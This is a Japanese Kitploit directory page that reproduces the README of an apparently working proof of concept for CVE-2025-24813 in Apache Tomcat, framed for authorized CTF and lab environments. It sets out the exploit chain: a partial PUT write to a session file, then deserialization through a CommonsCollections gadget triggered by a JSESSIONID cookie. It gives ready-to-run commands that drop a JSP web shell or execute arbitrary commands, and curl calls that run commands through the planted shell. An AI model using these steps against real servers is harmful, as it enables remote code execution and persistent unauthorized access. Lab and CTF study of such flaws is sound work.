Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24813 — Java CVEの適切なペイロード | Kitploit
ツール/GitHubGitHub/loufa0/cve-2025-24813
脆弱性スキャナーエクスプロイトウェブセキュリティCTF学習と教育ラボと実践
GitHubloufa0/cve-2025-24813

CVE-2025-24813

Java CVEの適切なペイロード

リポジトリを見る
603ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-24813 Tomcat PoC

認可されたCTF/ラボ環境向けのPoCです。CVE-2025-24813を、Tomcatセッションファイルへの部分的なPUT書き込みを介して悪用し、JSESSIONIDでデシリアライゼーションをトリガーします。

前提条件

  • Python 3
  • Pythonモジュールrequests
  • Java JDK(javaとjavac)
  • このフォルダに配置された同梱ファイルcommons-collections-3.2.1.jar

ysoserialは不要です。

ファイル

  • poc_cve_2025_24813.py: 生成、アップロード、トリガーを自動化するPythonラッパー。
  • GenerateTomcatSessionPayload.java: CommonsCollectionsガジェットを含む有効なTomcatセッションを生成します。
  • commons-collections-3.2.1.jar: ガジェットの依存関係。
  • sh.jsp: --drop-shellでデプロイされるオプションのJSPシェル。

使用方法

デフォルトのWebルート/opt/tomcat/webapps/ROOTにJSPシェルを配置します:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id poc24813 \
  --drop-shell \
  --shell-name sh.jsp

シェルを配置せずに直接コマンドを実行する場合:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id cmd24813 \
  --cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'

Webルートが異なる場合:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --drop-shell \
  --webroot /path/to/webroot \
  --shell-name sh.jsp

JARを移動した場合は、そのパスを指定します:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --jar /path/to/commons-collections-3.2.1.jar \
  --drop-shell

エクスプロイト後

--drop-shellが成功した場合:

curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp

ターゲット側の条件

  • 脆弱なTomcatバージョン。
  • DefaultServletが書き込み可能(典型的にはreadonly=false)。
  • 部分PUTのサポート。
  • PersistentManagerとFileStoreによる永続セッション。
  • サーバー側で利用可能なガジェットチェーン(ここではcommons-collections)。

アップロード時に期待される動作は、多くの場合HTTP 409 Conflictです:

PUT /<session-id>/session
Content-Range: bytes 0-1000/1200

その後、以下でデシリアライゼーションがトリガーされます:

Cookie: JSESSIONID=.<session-id>
ツールをダウンロード